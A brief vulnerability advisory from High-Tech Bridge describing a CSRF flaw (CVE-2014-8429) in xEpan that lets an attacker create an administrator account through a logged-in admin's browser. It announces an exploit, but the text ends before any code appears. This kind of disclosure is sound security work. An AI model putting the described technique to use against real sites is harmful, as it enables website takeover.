High-Tech Bridge Security Research Lab discovered vulnerability in xEpan, which can be exploited to compromise vulnerable web site.

1) Сross-Site Request Forgery (CSRF) in xEpan: CVE-2014-8429

The vulnerability exists due to insufficient validation of the HTTP request origin when creating new user accounts. A remote unauthenticated attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit, create new account with administrative privileges and get total control over the vulnerable website.

A simple CSRF exploit below creates an administrative account with username "immuniweb" and password "password":
